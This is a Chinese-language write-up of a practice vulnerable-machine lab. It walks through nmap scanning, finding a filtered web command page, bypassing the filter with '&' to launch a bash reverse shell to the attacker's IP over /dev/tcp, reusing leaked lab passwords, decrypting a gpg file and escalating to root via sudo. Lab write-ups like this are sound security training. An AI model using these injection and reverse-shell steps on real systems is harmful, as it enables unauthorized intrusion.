靶机搭建
1、信息收集
主机发现
攻击机ip为192.168.233.128,nmap扫描同网段存活主机。
nmap 192.168.233.0/24 -Pn -T4
靶机ip为192.168.233.133。
端口扫描
nmap 192.168.233.133 -A -p- -T4
开放了21,80,25468,其中ssh服务端口改到了25468。
目录扫描
访问http://192.168.233.133
。是一个学校的门户网站。
在News页面下,第一条消息是一个提示,意思是上周一名黑客入侵了学校服务器,聘请了新的IT人员来帮助保护网络,已禁用外部登录,即学校主服务器只能在内部访问。
Contact Us页面列出了各部门各员工的电话和email,其中IT部门的Bob可能是管理员。
在Login页面提示外部登录已禁用。另外f12检查,Bob留言:如果您是新IT员工,我已给您发了一封信,告诉您可以使用的Web Shell。意思是我们要想办法用新IT员工的身份?
访问/passwords.html。也是Bob的一段留言,给内部人员说不要再有服务器上出现不安全文件的情况了,这是很愚蠢的一件事。
访问/robots.txt,出现新路径。
访问/dev_shell.php。是一个命令执行功能的页面,测试后发现存在过滤,并不是所有命令都可以被执行的,例如ls,pwd等命令是被禁止的。
尝试用管道符或者是特殊符号绕过过滤。这里通过管道符'|'列出当前目录下的文件,发现dev_shell.php.bak,即dev_shell.php的备份文件。
下载备份文件。可知不被允许执行的命令有:
访问/lat_memo.html。又是一段Bob留言,告诉我们服务器上存在一个没有保护的webshell。
2、web渗透
结合web页面的信息收集,我们知道服务器存在webshell,很明显dev_shell.php的命令执行是突破点,绕过过滤写入反弹shell。
# 攻击机开启监听
nc -lvvp 6767
# &符号绕过过滤
whoami & echo "bash -i >& /dev/tcp/192.168.233.128/6767 0>&1" | bash
监听上线。
进一步信息收集。切换到家目录,发现有四个用户,分别对应Contact Us页面中IT部门的四个工作人员。
bob
cat .old_passwordfile.html
<html> <p> jc:Qwerty seb:T1tanium_Pa$$word_Hack3rs_Fear_M3 </p> </html>
这是直接告诉了我们jc、seb账户的密码?
继续看看其他文件夹,到Documents目录下。
cat staff.txt
根据内容翻译,大概是Bob对IT部门其他成员的看法。
login.txt.gpg这是一个经过gpg加密的文件,尝试解密。
gpg -d login.txt.gpg
报错,提示权限不够。
继续深入Secret文件夹,直到/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here发现一个可执行notes.sh文件。内容很乱,不知道想说什么。
其余三个用户目录均无内容。
3、ssh登录
目前有两个点没有解决,1、login.txt.gpg没有解开。2、notes.sh是什么意思。
解密login.txt.gpg时提示权限不够,这个账户没权限那就ssh登录到其他账户试试,前面告诉我们jc和seb账户的密码,试试。注意ssh端口是25468。
ssh jc@192.168.233.133 -p 25468
密码:Qwerty
解密login.txt.gpg文件。权限问题解决了但是密码不知道。
notes.sh应该是密码。百度发现密码就是notes.sh的藏头:HARPOCRATES
成功解密,得到Bob密码:b0bcat_
4、提权
登录Bob账户,想办法提权。sudo -l
竟然是ALL,直接su root。
成功拿到root权限,找到flag.txt🎆